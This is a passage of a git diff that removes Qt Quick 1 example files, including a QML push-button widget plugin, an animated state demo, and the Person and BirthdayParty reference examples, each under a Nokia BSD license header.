EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include - -class MyPushButton : public QGraphicsProxyWidget -{ - Q_OBJECT - Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) - -public: - MyPushButton(QGraphicsItem* parent = 0) - : QGraphicsProxyWidget(parent) - { - widget = new QPushButton("MyPushButton"); - widget->setAttribute(Qt::WA_NoSystemBackground); - setWidget(widget); - - QObject::connect(widget, SIGNAL(clicked(bool)), this, SIGNAL(clicked(bool))); - } - - QString text() const - { - return widget->text(); - } - - void setText(const QString& text) - { - if (text != widget->text()) { - widget->setText(text); - emit textChanged(); - } - } - -Q_SIGNALS: - void clicked(bool); - void textChanged(); - -private: - QPushButton *widget; -}; - -class QWidgetsPlugin : public QDeclarativeExtensionPlugin -{ - Q_OBJECT -public: - void registerTypes(const char *uri) - { - qmlRegisterType(uri, 1, 0, "MyPushButton"); - } -}; - -#include "qwidgets.moc" - -Q_EXPORT_PLUGIN2(qmlqwidgetsplugin, QWidgetsPlugin); diff --git a/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.pro b/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.pro deleted file mode 100644 index 292ac2c5f5..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.pro +++ /dev/null @@ -1,14 +0,0 @@ -TEMPLATE = lib -CONFIG += qt plugin -QT += declarative - -DESTDIR = QWidgets -TARGET = qmlqwidgetsplugin - -SOURCES += qwidgets.cpp - -sources.files += qwidgets.pro qwidgets.cpp qwidgets.qml -sources.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins -target.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins - -INSTALLS += sources target diff --git a/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.qml b/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.qml deleted file mode 100644 index 4e1835e167..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.qml +++ /dev/null @@ -1,110 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "QWidgets" 1.0 - -Rectangle { - id: window - - property int margin: 30 - - width: 640; height: 480 - color: palette.window - - SystemPalette { id: palette } - - MyPushButton { - id: button1 - x: margin; y: margin - text: "Right" - transformOriginPoint: Qt.point(width / 2, height / 2) - - onClicked: window.state = "right" - } - - MyPushButton { - id: button2 - x: margin; y: margin + 30 - text: "Bottom" - transformOriginPoint: Qt.point(width / 2, height / 2) - - onClicked: window.state = "bottom" - } - - MyPushButton { - id: button3 - x: margin; y: margin + 60 - text: "Quit" - transformOriginPoint: Qt.point(width / 2, height / 2) - - onClicked: Qt.quit() - } - - states: [ - State { - name: "right" - PropertyChanges { target: button1; x: window.width - width - margin; text: "Left"; onClicked: window.state = "" } - PropertyChanges { target: button2; x: window.width - width - margin } - PropertyChanges { target: button3; x: window.width - width - margin } - PropertyChanges { target: window; color: Qt.darker(palette.window) } - }, - State { - name: "bottom" - PropertyChanges { target: button1; y: window.height - height - margin; rotation: 180 } - PropertyChanges { - target: button2 - x: button1.x + button1.width + 10; y: window.height - height - margin - rotation: 180 - text: "Top" - onClicked: window.state = "" - } - PropertyChanges { target: button3; x: button2.x + button2.width + 10; y: window.height - height - margin; rotation: 180 } - PropertyChanges { target: window; color: Qt.lighter(palette.window) } - } - ] - - transitions: Transition { - ParallelAnimation { - NumberAnimation { properties: "x,y,rotation"; duration: 600; easing.type: Easing.OutQuad } - ColorAnimation { target: window; duration: 600 } - } - } -} diff --git a/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.qmlproject b/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/cppextensions/qwidgets/qwidgets.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/adding.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/adding.pro deleted file mode 100644 index b830a88798..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/adding.pro +++ /dev/null @@ -1,15 +0,0 @@ -TEMPLATE = app -TARGET = adding -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative - -# Input -SOURCES += main.cpp \ - person.cpp -HEADERS += person.h -RESOURCES += adding.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/adding -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS adding.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/adding -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/adding.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/adding.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/adding.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/example.qml deleted file mode 100644 index 3b2ca34d10..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/example.qml +++ /dev/null @@ -1,48 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -// ![0] -import People 1.0 - -Person { - name: "Bob Jones" - shoeSize: 12 -} -// ![0] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/main.cpp deleted file mode 100644 index 4c1918b6de..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/main.cpp +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); -//![0] - qmlRegisterType("People", 1,0, "Person"); -//![0] - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - Person *person = qobject_cast(component.create()); - if (person) { - qWarning() << "The person's name is" << person->name(); - qWarning() << "They wear a" << person->shoeSize() << "sized shoe"; - } else { - qWarning() << component.errors(); - } - - return 0; -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/person.cpp deleted file mode 100644 index 0e78b0b77b..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/person.cpp +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -// ![0] -Person::Person(QObject *parent) -: QObject(parent), m_shoeSize(0) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -int Person::shoeSize() const -{ - return m_shoeSize; -} - -void Person::setShoeSize(int s) -{ - m_shoeSize = s; -} - -// ![0] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/person.h deleted file mode 100644 index 896bf4bd52..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/adding/person.h +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include -// ![0] -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize) -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - int shoeSize() const; - void setShoeSize(int); - -private: - QString m_name; - int m_shoeSize; -}; -// ![0] - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/attached.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/attached.pro deleted file mode 100644 index 3843528c50..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/attached.pro +++ /dev/null @@ -1,17 +0,0 @@ -TEMPLATE = app -TARGET = attached -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp -HEADERS += person.h \ - birthdayparty.h -RESOURCES += attached.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/attached -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS attached.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/attached -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/attached.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/attached.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/attached.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/birthdayparty.cpp deleted file mode 100644 index 5916d0389d..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/birthdayparty.cpp +++ /dev/null @@ -1,91 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayPartyAttached::BirthdayPartyAttached(QObject *object) -: QObject(object) -{ -} - -QDate BirthdayPartyAttached::rsvp() const -{ - return m_rsvp; -} - -void BirthdayPartyAttached::setRsvp(const QDate &d) -{ - m_rsvp = d; -} - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - m_host = c; -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} - -BirthdayPartyAttached *BirthdayParty::qmlAttachedProperties(QObject *object) -{ - return new BirthdayPartyAttached(object); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/birthdayparty.h deleted file mode 100644 index 02e9593b8b..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/birthdayparty.h +++ /dev/null @@ -1,86 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include -#include "person.h" - -class BirthdayPartyAttached : public QObject -{ - Q_OBJECT - Q_PROPERTY(QDate rsvp READ rsvp WRITE setRsvp) -public: - BirthdayPartyAttached(QObject *object); - - QDate rsvp() const; - void setRsvp(const QDate &); - -private: - QDate m_rsvp; -}; - -class BirthdayParty : public QObject -{ - Q_OBJECT - Q_PROPERTY(Person *host READ host WRITE setHost) - Q_PROPERTY(QDeclarativeListProperty guests READ guests) - Q_CLASSINFO("DefaultProperty", "guests") -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - - static BirthdayPartyAttached *qmlAttachedProperties(QObject *); -private: - Person *m_host; - QList m_guests; -}; - -QML_DECLARE_TYPEINFO(BirthdayParty, QML_HAS_ATTACHED_PROPERTIES) - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/example.qml deleted file mode 100644 index d09d451f24..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/example.qml +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -BirthdayParty { - host: Boy { - name: "Bob Jones" - shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 } - } - - // ![1] - Boy { - name: "Leo Hodges" - shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 } - - BirthdayParty.rsvp: "2009-07-06" - } - // ![1] - Boy { - name: "Jack Smith" - shoe { size: 8; color: "blue"; brand: "Puma"; price: 19.95 } - } - Girl { - name: "Anne Brown" - shoe.size: 7 - shoe.color: "red" - shoe.brand: "Marc Jacobs" - shoe.price: 699.99 - - BirthdayParty.rsvp: "2009-07-01" - } -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/main.cpp deleted file mode 100644 index b92614a15d..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/main.cpp +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include 